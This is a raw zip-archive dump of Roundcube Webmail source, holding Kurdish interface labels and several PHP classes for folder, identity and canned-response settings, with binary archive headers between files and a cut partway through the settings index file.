$labels['organization'] = 'ڕێکخراو';
$labels['readstatus'] = 'ڕەوشی خوێندنەوە';
$labels['listoptions'] = 'لیستی هەڵبژاردەکان';
$labels['listoptionstitle'] = 'هەڵبژاردەکانی لیستە';
$labels['mailboxlist'] = 'بوخچەکان';
$labels['messagesfromto'] = 'پەیامەکان $from بۆ $to لە $count';
$labels['messagenrof'] = 'پەیام $nr لە $count';
$labels['fromtoshort'] = '$from – $to لە $count';
$labels['copy'] = 'لەبەرگرتنەوە';
$labels['move'] = 'گواستنەوە';
$labels['moveto'] = 'گواستنەوە بۆ';
$labels['copyto'] = 'گواستنەوە بۆ...';
$labels['download'] = 'داگرتن';
$labels['open'] = 'کردنەوە';
$labels['showattachment'] = 'پیشاندان';
$labels['showanyway'] = 'هەرچۆنێک بێت پیشانیبدە';
$labels['filename'] = 'ناوی پەڕگە';
$labels['filesize'] = 'قەبارەی پەڕگە';
$labels['addtoaddressbook'] = 'زیادیبکە بۆ پەرتووکی ناونیشان';
$labels['sun'] = 'یەکشەممە';
$labels['mon'] = 'دووشەممە';
$labels['tue'] = 'سێشەممە';
$labels['wed'] = 'چوارشەممە';
$labels['thu'] = 'پێنجشەممە';
$labels['fri'] = 'هەینی';
$labels['sat'] = 'شەممە';
$labels['sunday'] = 'یەکشەممە';
$labels['monday'] = 'دووشەممە';
$labels['tuesday'] = 'سێشەممە';
$labels['wednesday'] = 'چوارشەممە';
$labels['thursday'] = 'پێنجشەممە';
$labels['friday'] = 'هەینی';
$labels['saturday'] = 'شەممە';
$labels['jan'] = 'کانوونی دووەم';
$labels['feb'] = 'شوبات';
$labels['mar'] = 'ئادار';
$labels['apr'] = 'نیسان';
$labels['may'] = 'ئایار';
$labels['jun'] = 'حوزەیران';
$labels['jul'] = 'تەمووز';
$labels['aug'] = 'ئاب';
$labels['sep'] = 'ئەیلول';
$labels['oct'] = 'تشرینی یەکەم';
$labels['nov'] = 'تشرینی دووەم';
$labels['dec'] = 'کانوونی یەکەم';
$labels['longjan'] = 'کانوونی دووەم';
$labels['longfeb'] = 'شوبات';
$labels['longmar'] = 'ئادار';
$labels['longapr'] = 'نیسان';
$labels['longmay'] = 'ئایار';
$labels['longjun'] = 'حوزەیران';
$labels['longjul'] = 'تەمووز';
$labels['longaug'] = 'ئاب';
$labels['longsep'] = 'ئەیلول';
$labels['longoct'] = 'تشرینی یەکەم';
$labels['longnov'] = 'تشرینی دووەم';
$labels['longdec'] = 'کانوونی یەکەم';
$labels['today'] = 'ئەمڕۆ';
$labels['refresh'] = 'نوێكردنه‌وه';
$labels['checkmail'] = 'تێڕوانین بۆ نامەی نوێ';
$labels['compose'] = 'پێکهێنان';
$labels['writenewmessage'] = 'درووستکردنی پەیامێکی نوێ';
$labels['reply'] = 'وەڵامدانەوە';
$labels['replytomessage'] = 'وەڵامدانەوەی نێردەر';
$labels['replytoallmessage'] = 'وەڵامدانەوەی لیست یاخوود نێردەر و هەموو وەرگرەکان';
$labels['replyall'] = 'وەڵامدانەوەی هەموو';
$labels['replylist'] = 'وەڵامدانەوەی لیست';
$labels['forward'] = 'بینێره‌ بۆ';
$labels['deletemessage'] = 'سڕینەوەی پەیام';
$labels['movemessagetotrash'] = 'پەیام بگوازەرەوە بۆ زبڵدان';
$labels['printmessage'] = 'ئەم پەیامە چاپ بکە';
$labels['folders-all'] = 'هەموو بوخچەکان';
$labels['more'] = 'زیاتر';
$labels['back'] = 'گەڕانەوە';
$labels['options'] = 'هەڵبژاردەکان';
$labels['composeoptions'] = 'هەڵبژاردەکانی پێکهێنان';
$labels['optionsandattachments'] = 'هەڵبژاردەکان و پاشکۆکان';
$labels['actions'] = 'کردارەکان';
$labels['first'] = 'یەکەم';
$labels['last'] = 'کۆتایی';
$labels['previous'] = 'پێشتر';
$labels['next'] = 'دواتر';
$labels['select'] = 'هەڵبژاردن';
$labels['all'] = 'هەمووی';
$labels['none'] = 'هیچ';
$labels['currpage'] = 'پەڕی ئێستا';
$labels['list'] = 'لیست';
$labels['fromto'] = 'لە/بۆ';
$labels['attachment'] = 'هاوپێچ';
$labels['nonesort'] = 'هیچ';
$labels['sentdate'] = 'بەرواری ناردن';
$labels['arrival'] = 'بەرواری گەیشتن';
$labels['layoutlist'] = 'لیست';
$labels['empty'] = 'بەتاڵ';
$labels['unknown'] = 'نەناسراو';
$labels['unlimited'] = 'بێ سنوور';
$labels['quotatotal'] = 'سنوور';
$labels['quotaused'] = 'بەکارهاتوو';
$labels['namex'] = 'ناو';
$labels['allfolders'] = 'هەموو بوخچەکان';
$labels['send'] = 'ناردن';
$labels['responsename'] = 'ناو';
$labels['attach'] = 'هاوپێچ';
$labels['attachments'] = 'هاوپێچەکان';
$labels['upload'] = 'بارکردن';
$labels['close'] = 'داخستن';
$labels['nickname'] = 'نازناو';
$labels['jobtitle'] = 'ناونیشانی کار';
$labels['department'] = 'بەش';
$labels['gender'] = 'ڕەگەز';
$labels['phone'] = 'تەلەفۆن';
$labels['address'] = 'ناونیشان';
$labels['street'] = 'شەقام';
$labels['locality'] = 'شار';
$labels['country'] = 'وڵات';
$labels['birthday'] = 'ڕۆژی لەدایکبوون';
$labels['website'] = 'ماڵپەڕ';
$labels['notes'] = 'تێبینییەکان';
$labels['male'] = 'نێر';
$labels['female'] = 'مێ';
$labels['manager'] = 'بەڕێوەبەر';
$labels['allfields'] = 'هەموو خانەکان';
$labels['search'] = 'گەڕان';
$labels['searchresult'] = 'ئەنجامی گەڕان';
$labels['advsearch'] = 'گەڕانی پێشکەوتوو';
$labels['advanced'] = 'پێشکەوتوو';
$labels['typehome'] = 'ماڵ';
$labels['typework'] = 'کار';
$labels['typemobile'] = 'مۆبایل';
$labels['typemain'] = 'سەرەکی';
$labels['delete'] = 'سڕینەوە';
$labels['about'] = 'دەربارە';
$labels['folders'] = 'بوخچەکان';
$labels['create'] = 'دروستکردن';
$labels['license'] = 'مۆڵەت';
PK
h�\6��K��'program/localization/ku_IQ/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'هەڵەیەک ڕوویدا!';
$messages['loginfailed']  = 'چوونەژوورەوە سەرکەوتوو نەبوو.';
PK
h�\z�B���,program/actions/settings/response_create.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Show edit form for a canned response creation                       |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_settings_response_create extends rcmail_action_settings_response_edit
{
}
PK
h�\!BN@@)program/actions/settings/folder_purge.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Provide functionality of folder purge                               |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_settings_folder_purge extends rcmail_action
{
    protected static $mode = self::MODE_AJAX;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail       = rcmail::get_instance();
        $storage      = $rcmail->get_storage();
        $mbox         = rcube_utils::get_input_string('_mbox', rcube_utils::INPUT_POST, true);
        $delimiter    = $storage->get_hierarchy_delimiter();
        $trash_mbox   = $rcmail->config->get('trash_mbox');
        $trash_regexp = '/^' . preg_quote($trash_mbox . $delimiter, '/') . '/';

        // we should only be purging trash (or their subfolders)
        if (!strlen($trash_mbox) || $mbox === $trash_mbox || preg_match($trash_regexp, $mbox)) {
            $success = $storage->delete_message('*', $mbox);
            $delete  = true;
        }
        // move to Trash
        else {
            $success = $storage->move_message('1:*', $trash_mbox, $mbox);
            $delete  = false;
        }

        if (!empty($success)) {
            $rcmail->output->set_env('messagecount', 0);

            if ($delete) {
                $rcmail->output->show_message('folderpurged', 'confirmation');
                $rcmail->output->command('set_quota', self::quota_content(null, $mbox));
            }
            else {
                $rcmail->output->show_message('messagemoved', 'confirmation');
            }

            $_SESSION['unseen_count'][$mbox] = 0;
            $rcmail->output->command('show_folder', $mbox, null, true);
        }
        else {
            self::display_server_error('errorsaving');
        }

        $rcmail->output->send();
    }
}
PK
h�\���W�
�
*program/actions/settings/folder_rename.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Provide functionality of folder rename                              |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_settings_folder_rename extends rcmail_action_settings_folders
{
    protected static $mode = self::MODE_AJAX;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail  = rcmail::get_instance();
        $name    = trim(rcube_utils::get_input_string('_folder_newname', rcube_utils::INPUT_POST, true));
        $oldname = rcube_utils::get_input_string('_folder_oldname', rcube_utils::INPUT_POST, true);

        if (strlen($name) && strlen($oldname)) {
            $rename = self::rename_folder($oldname, $name);
        }

        if (!empty($rename)) {
            self::update_folder_row($name, $oldname);
        }
        else {
            self::display_server_error('errorsaving');
        }

        $rcmail->output->send();
    }

    public static function rename_folder($oldname, $newname)
    {
        $rcmail    = rcmail::get_instance();
        $storage   = $rcmail->get_storage();

        $plugin = $rcmail->plugins->exec_hook('folder_rename', [
            'oldname' => $oldname, 'newname' => $newname]);

        if (empty($plugin['abort'])) {
            $renamed =  $storage->rename_folder($oldname, $newname);
        }
        else {
            $renamed = $plugin['result'];
        }

        // update per-folder options for modified folder and its subfolders
        if ($renamed) {
            $delimiter  = $storage->get_hierarchy_delimiter();
            $a_threaded = (array) $rcmail->config->get('message_threading', []);
            $oldprefix  = '/^' . preg_quote($oldname . $delimiter, '/') . '/';

            foreach ($a_threaded as $key => $val) {
                if ($key == $oldname) {
                    unset($a_threaded[$key]);
                    $a_threaded[$newname] = $val;
                }
                else if (preg_match($oldprefix, $key)) {
                    unset($a_threaded[$key]);
                    $a_threaded[preg_replace($oldprefix, $newname . $delimiter, $key)] = $val;
                }
            }

            $rcmail->user->save_prefs(['message_threading' => $a_threaded]);

            // #1488692: update session
            if (isset($_SESSION['mbox']) && $_SESSION['mbox'] === $oldname) {
                $_SESSION['mbox'] = $newname;
            }

            return true;
        }

        return false;
    }
}
PK
h�\+ȇЇ�,program/actions/settings/identity_create.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Provide identity create form                                        |
 +-----------------------------------------------------------------------+
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_settings_identity_create extends rcmail_action_settings_identity_edit
{
}
PK
h�\4��p�
�
-program/actions/settings/folder_subscribe.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Handler for folder subscribe action                                 |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_settings_folder_subscribe extends rcmail_action
{
    protected static $mode = self::MODE_AJAX;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail  = rcmail::get_instance();
        $storage = $rcmail->get_storage();
        $mbox    = rcube_utils::get_input_string('_mbox', rcube_utils::INPUT_POST, true);

        if (strlen($mbox)) {
            $result = $storage->subscribe([$mbox]);

            // Handle virtual (non-existing) folders
            if (
                !$result
                && $storage->get_error_code() == -1
                && $storage->get_response_code() == rcube_storage::TRYCREATE
            ) {
                $result = $storage->create_folder($mbox, true);
                if ($result) {
                    // @TODO: remove 'virtual' class of folder's row
                }
            }
        }

        if (!empty($result)) {
            // Handle subscription of protected folder (#1487656)
            if ($rcmail->config->get('protect_default_folders') && $storage->is_special_folder($mbox)) {
                $rcmail->output->command('disable_subscription', $mbox);
            }

            $rcmail->output->show_message('foldersubscribed', 'confirmation');
        }
        else {
            self::display_server_error('errorsaving');
            $rcmail->output->command('reset_subscription', $mbox, false);
        }

        $rcmail->output->send();
    }
}
PK
h�\2hu�kk*program/actions/settings/response_edit.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Show edit form for a canned response record                         |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_settings_response_edit extends rcmail_action_settings_responses
{
    protected static $mode = self::MODE_HTTP;
    protected static $response;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();
        $title  = $rcmail->gettext($rcmail->action == 'add-response' ? 'addresponse' : 'editresponse');

        if (!empty($args['post'])) {
            self::$response = $args['post'];
        }
        else if ($id = rcube_utils::get_input_string('_id', rcube_utils::INPUT_GP)) {
            self::$response = $rcmail->get_compose_response($id);

            if (!is_array(self::$response)) {
                $rcmail->output->show_message('dberror', 'error');
                $rcmail->output->send('iframe');
            }
        }

        $rcmail->output->set_pagetitle($title);
        $rcmail->output->set_env('readonly', !empty(self::$response['static']));
        $rcmail->output->add_handler('responseform', [$this, 'response_form']);
        $rcmail->output->send('responseedit');
    }

    /**
     * Get content of a response editing/adding form
     *
     * @param array $attrib Template object attributes
     *
     * @return string HTML content
     */
    public static function response_form($attrib)
    {
        $rcmail = rcmail::get_instance();

        // add some labels to client
        $rcmail->output->add_label('converting', 'editorwarning');

        // Set form tags and hidden fields
        $readonly = !empty(self::$response['static']);
        $is_html  = self::$response['is_html'] ?? false;
        $id       = self::$response['id'] ?? '';
        $hidden   = ['name' => '_id', 'value' => $id];

        list($form_start, $form_end) = self::get_form_tags($attrib, 'save-response', $id, $hidden);
        unset($attrib['form'], $attrib['id']);

        $name_attr = [
            'id'       => 'ffname',
            'size'     => $attrib['size'] ?? null,
            'readonly' => $readonly,
            'required' => true,
        ];

        $text_attr = [
            'id'       => 'fftext',
            'size'     => $attrib['textareacols'] ?? null,
            'rows'     => $attrib['textarearows'] ?? null,
            'readonly' => $readonly,
            'spellcheck'       => true,
            'data-html-editor' => true
        ];

        $chk_attr = [
            'id'       => 'ffis_html',
            'disabled' => $readonly,
            'onclick'  => "return rcmail.command('toggle-editor', {id: 'fftext', html: this.checked}, '', event)"
        ];

        // Add HTML editor script(s)
        self::html_editor('response', 'fftext');

        // Enable TinyMCE editor
        if ($is_html) {
            $text_attr['class']      = 'mce_editor';
            $text_attr['is_escaped'] = true;

            // Correctly handle HTML entities in HTML editor (#1488483)
            self::$response['data'] = htmlspecialchars(self::$response['data'], ENT_NOQUOTES, RCUBE_CHARSET);
        }

        $table = new html_table(['cols' => 2]);

        $table->add('title', html::label('ffname', rcube::Q($rcmail->gettext('responsename'))));
        $table->add(null, rcube_output::get_edit_field('name', self::$response['name'] ?? '', $name_attr, 'text'));

        $table->add('title', html::label('fftext', rcube::Q($rcmail->gettext('responsetext'))));
        $table->add(null, rcube_output::get_edit_field('text', self::$response['data'] ?? '', $text_attr, 'textarea'));

        $table->add('title', html::label('ffis_html', rcube::Q($rcmail->gettext('htmltoggle'))));
        $table->add(null, rcube_output::get_edit_field('is_html', $is_html, $chk_attr, 'checkbox'));

        // return the complete edit form as table
        return "$form_start\n" . $table->show($attrib) . $form_end;
    }
}
PK
h�\�vW�66,program/actions/settings/response_delete.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   A handler for canned response deletion                              |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_settings_response_delete extends rcmail_action
{
    static $mode = self::MODE_AJAX;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();

        if ($id = rcube_utils::get_input_string('_id', rcube_utils::INPUT_GP)) {
            $plugin = $rcmail->plugins->exec_hook('response_delete', ['id' => $id]);

            $deleted = !$plugin['abort'] ? $rcmail->user->delete_response($id) : $plugin['result'];

            if (!empty($deleted)) {
                $rcmail->output->command('display_message', $rcmail->gettext('deletedsuccessfully'), 'confirmation');
                $rcmail->output->command('remove_response', $id);
            }
            else {
                $msg = !empty($plugin['message']) ? $plugin['message'] : 'errorsaving';
                $rcmail->output->show_message($msg, 'error');
            }
        }

        $rcmail->output->send();
    }
}
PK
h�\Ǖ��4�4(program/actions/settings/folder_edit.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Provide functionality to edit a folder                              |
 +-----------------------------------------------------------------------+
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_settings_folder_edit extends rcmail_action_settings_folders
{
    protected static $mode = self::MODE_HTTP;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();

        $rcmail->output->add_handlers([
                'folderdetails' => [$this, 'folder_form'],
        ]);

        $rcmail->output->add_label('nonamewarning');

        $rcmail->output->send('folderedit');
    }

    public static function folder_form($attrib)
    {
        // WARNING: folder names in UI are encoded with RCUBE_CHARSET
        $rcmail  = rcmail::get_instance();
        $storage = $rcmail->get_storage();

        // edited folder name (empty in create-folder mode)
        $mbox = rcube_utils::get_input_string('_mbox', rcube_utils::INPUT_GPC, true);

        // predefined path for new folder
        $parent = rcube_utils::get_input_string('_path', rcube_utils::INPUT_GPC, true);

        $threading_supported = $storage->get_capability('THREAD');
        $dual_use_supported  = $storage->get_capability(rcube_storage::DUAL_USE_FOLDERS);
        $delimiter           = $storage->get_hierarchy_delimiter();

        // Get mailbox parameters
        if (strlen($mbox)) {
            $options   = self::folder_options($mbox);
            $namespace = $storage->get_namespace();

            $path   = explode($delimiter, $mbox);
            $folder = array_pop($path);
            $path   = implode($delimiter, $path);
            $folder = rcube_charset::convert($folder, 'UTF7-IMAP');

            $hidden_fields = ['name' => '_mbox', 'value' => $mbox];
        }
        else {
            $options       = [];
            $path          = $parent;
            $folder        = '';
            $hidden_fields = [];

            // allow creating subfolders of INBOX folder
            if ($path == 'INBOX') {
                $path = $storage->mod_folder($path, 'in');
            }
        }

        // remove personal namespace prefix
        $path_id = null;
        if (strlen($path)) {
            $path_id = $path;
            $path    = $storage->mod_folder($path . $delimiter);
            if (($path[strlen($path)-1] ?? '') == $delimiter) {
                $path = substr($path, 0, -1);
            }
        }

        $form = [];

        // General tab
        $form['props'] = [
            'name' => $rcmail->gettext('properties'),
        ];

        // Location (name)
        if (!empty($options['protected'])) {
            $foldername = str_replace($delimiter, ' &raquo; ', rcube::Q(self::localize_foldername($mbox, false, true)));
        }
        else if (!empty($options['norename'])) {
            $foldername = rcube::Q($folder);
        }
        else {
            if (isset($_POST['_name'])) {
                $folder = trim(rcube_utils::get_input_string('_name', rcube_utils::INPUT_POST, true));
            }

            $foldername = new html_inputfield(['name' => '_name', 'id' => '_name', 'size' => 30, 'class' => 'form-control']);
            $foldername = '<span class="input-group">' . $foldername->show($folder);

            if (!empty($options['special']) && ($sname = self::localize_foldername($mbox, false, true)) != $folder) {
                $foldername .= ' <span class="input-group-append"><span class="input-group-text">(' . rcube::Q($sname) .')</span></span>';
            }

            $foldername .= '</span>';
        }

        $form['props']['fieldsets']['location'] = [
            'name'  => $rcmail->gettext('location'),
            'content' => [
                'name' => [
                    'label' => $rcmail->gettext('foldername'),
                    'value' => $foldername,
                ],
            ],
        ];

        if (!empty($options) && (!empty($options['norename']) || !empty($options['protected']))) {
            // prevent user from moving folder
            $hidden_path = new html_hiddenfield(['name' => '_parent', 'value' => $path]);
            $form['props']['fieldsets']['location']['content']['name']['value'] .= $hidden_path->show();
        }
        else {
            $selected   = $_POST['_parent'] ?? $path_id;
            $exceptions = [$mbox];

            // Exclude 'prefix' namespace from parent folders list (#1488349)
            // If INBOX. namespace exists, folders created as INBOX subfolders
            // will be listed at the same level - selecting INBOX as a parent does nothing
            if ($prefix = $storage->get_namespace('prefix')) {
                $exceptions[] = substr($prefix, 0, -1);
            }

            $select = self::folder_selector([
                    'id'          => '_parent',
                    'name'        => '_parent',
                    'noselection' => '---',
                    'maxlength'   => 150,
                    'unsubscribed' => true,
                    'skip_noinferiors' => true,
                    'exceptions'  => $exceptions,
                    'additional'  => is_string($selected) && strlen($selected) ? [$selected] : null,
            ]);

            $form['props']['fieldsets']['location']['content']['parent'] = [
                'label' => $rcmail->gettext('parentfolder'),
                'value' => $select->show($selected),
            ];
        }

        // Settings
        $form['props']['fieldsets']['settings'] = [
            'name'  => $rcmail->gettext('settings'),
        ];

        // For servers that do not support both sub-folders and messages in a folder
        if (!$dual_use_supported) {
            if (!strlen($mbox)) {
                $select = new html_select(['name' => '_type', 'id' => '_type']);
                $select->add($rcmail->gettext('dualusemail'), 'mail');
                $select->add($rcmail->gettext('dualusefolder'), 'folder');

                $value = rcube_utils::get_input_string('_type', rcube_utils::INPUT_POST);
                $value = $select->show($value ?: 'mail');
            }
            else {
                $value = $options['noselect'] ? 'folder' : 'mail';
                $value = $rcmail->gettext('dualuse' . $value);
            }

            $form['props']['fieldsets']['settings']['content']['type'] = [
                'label' => $rcmail->gettext('dualuselabel'),
                'value' => $value,
            ];
        }

        // Settings: threading
        if ($threading_supported && ($mbox == 'INBOX' || (empty($options['noselect']) && empty($options['is_root'])))) {
            $value  = 0;
            $select = new html_select(['name' => '_viewmode', 'id' => '_viewmode']);

            $select->add($rcmail->gettext('list'), 0);
            $select->add($rcmail->gettext('threads'), 1);

            if (isset($_POST['_viewmode'])) {
                $value = (int) $_POST['_viewmode'];
            }
            else if (strlen($mbox)) {
                $a_threaded   = $rcmail->config->get('message_threading', []);
                $default_mode = $rcmail->config->get('default_list_mode', 'list');

                $value = (int) ($a_threaded[$mbox] ?? $default_mode == 'threads');
            }

            $form['props']['fieldsets']['settings']['content']['viewmode'] = [
                'label' => $rcmail->gettext('listmode'),
                'value' => $select->show($value),
            ];
        }

        $msgcount = 0;

        // Information (count, size) - Edit mode
        if (strlen($mbox)) {
            // Number of messages
            $form['props']['fieldsets']['info'] = [
                'name'    => $rcmail->gettext('info'),
                'content' => []
            ];

            if ((!$options['noselect'] && !$options['is_root']) || $mbox == 'INBOX') {
                $msgcount = (int) $storage->count($mbox, 'ALL', true, false);

                if ($msgcount) {
                    // Get the size on servers with supposed-to-be-fast method for that
                    if ($storage->get_capability('STATUS=SIZE')) {
                        $size = $storage->folder_size($mbox);
                        if ($size !== false) {
                            $size = self::show_bytes($size);
                        }
                    }

                    // create link with folder-size command
                    if (!isset($size) || $size === false) {
                        $onclick = sprintf("return %s.command('folder-size', '%s', this)",
                            rcmail_output::JS_OBJECT_NAME, rcube::JQ($mbox));

                        $attr = ['href' => '#', 'onclick' => $onclick, 'id' => 'folder-size'];
                        $size = html::a($attr, $rcmail->gettext('getfoldersize'));
                    }
                }
                else {
                    // no messages -> zero size
                    $size = 0;
                }

                $form['props']['fieldsets']['info']['content']['count'] = [
                    'label' => $rcmail->gettext('messagecount'),
                    'value' => $msgcount
                ];
                $form['props']['fieldsets']['info']['content']['size'] = [
                    'label' => $rcmail->gettext('size'),
                    'value' => $size,
                ];
            }

            // show folder type only if we have non-private namespaces
            if (!empty($namespace['shared']) || !empty($namespace['others'])) {
                $form['props']['fieldsets']['info']['content']['foldertype'] = [
                    'label' => $rcmail->gettext('foldertype'),
                    'value' => $rcmail->gettext($options['namespace'] . 'folder')
                ];
            }
        }

        // Allow plugins to modify folder form content
        $plugin = $rcmail->plugins->exec_hook('folder_form', [
                'form'        => $form,
                'options'     => $options,
                'name'        => $mbox,
                'parent_name' => $parent
        ]);

        $form = $plugin['form'];

        // Set form tags and hidden fields
        list($form_start, $form_end) = self::get_form_tags($attrib, 'save-folder', null, $hidden_fields);

        unset($attrib['form'], $attrib['id']);

        // return the complete edit form as table
        $out = "$form_start\n";

        // Create form output
        foreach ($form as $idx => $tab) {
            if (!empty($tab['fieldsets']) && is_array($tab['fieldsets'])) {
                $content = '';
                foreach ($tab['fieldsets'] as $fieldset) {
                    $subcontent = self::get_form_part($fieldset, $attrib);
                    if ($subcontent) {
                        $subcontent = html::tag('legend', null, rcube::Q($fieldset['name'])) . $subcontent;
                        $content .= html::tag('fieldset', null, $subcontent) ."\n";
                    }
                }
            }
            else {
                $content = self::get_form_part($tab, $attrib);
            }

            if ($idx != 'props') {
                $out .= html::tag('fieldset', null, html::tag('legend', null, rcube::Q($tab['name'])) . $content) ."\n";
            }
            else {
                $out .= $content ."\n";
            }
        }

        $out .= "\n$form_end";

        $rcmail->output->set_env('messagecount', $msgcount);
        $rcmail->output->set_env('folder', $mbox);

        if ($mbox !== null && empty($_POST)) {
            $rcmail->output->command('parent.set_quota', self::quota_content(null, $mbox));
        }

        return $out;
    }

    public static function get_form_part($form, $attrib = [])
    {
        $rcmail  = rcmail::get_instance();
        $content = '';

        if (!empty($form['content']) && is_array($form['content'])) {
            $table = new html_table(['cols' => 2]);

            foreach ($form['content'] as $col => $colprop) {
                $colprop['id'] = '_' . $col;
                $label = !empty($colprop['label']) ? $colprop['label'] : $rcmail->gettext($col);

                $table->add('title', html::label($colprop['id'], rcube::Q($label)));
                $table->add(null, $colprop['value']);
            }

            $content = $table->show($attrib);
        }
        else if (isset($form['content'])) {
            $content = $form['content'];
        }

        return $content;
    }
}
PK
h�\	'ފ�*�*"program/actions/settings/index.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Provide functionality for user's settings & preferences             |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_settings_index extends rcmail_action
{
    /**
     * Deprecated action aliases.
     *
     * @var array
     */
    public static $aliases = [
        'rename-folder'    => 'folder-rename',
        'subscribe'        => 'folder-subscribe',
        'unsubscribe'      => 'folder-unsubscribe',
        'purge'            => 'folder-purge',
        'add-folder'       => 'folder-create',
        'add-identity'     => 'identity-create',
        'add-response'     => 'response-create',
        'delete-folder'    => 'folder-delete',
        'delete-identity'  => 'identity-delete',
        'delete-response'  => 'response-delete',
        'edit-folder'      => 'folder-edit',
        'edit-identity'    => 'identity-edit',
        'edit-prefs'       => 'prefs-edit',
        'edit-response'    => 'response-edit',
        'save-folder'      => 'folder-save',
        'save-identity'    => 'identity-save',
        'save-prefs'       => 'prefs-save',
        'save-response'    => 'response-save',
    ];

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();

        if ($rcmail->output->type == 'html') {
            $rcmail->output->set_pagetitle($rcmail->gettext('preferences'));

            // register UI objects
            $rcmail->output->add_handlers([
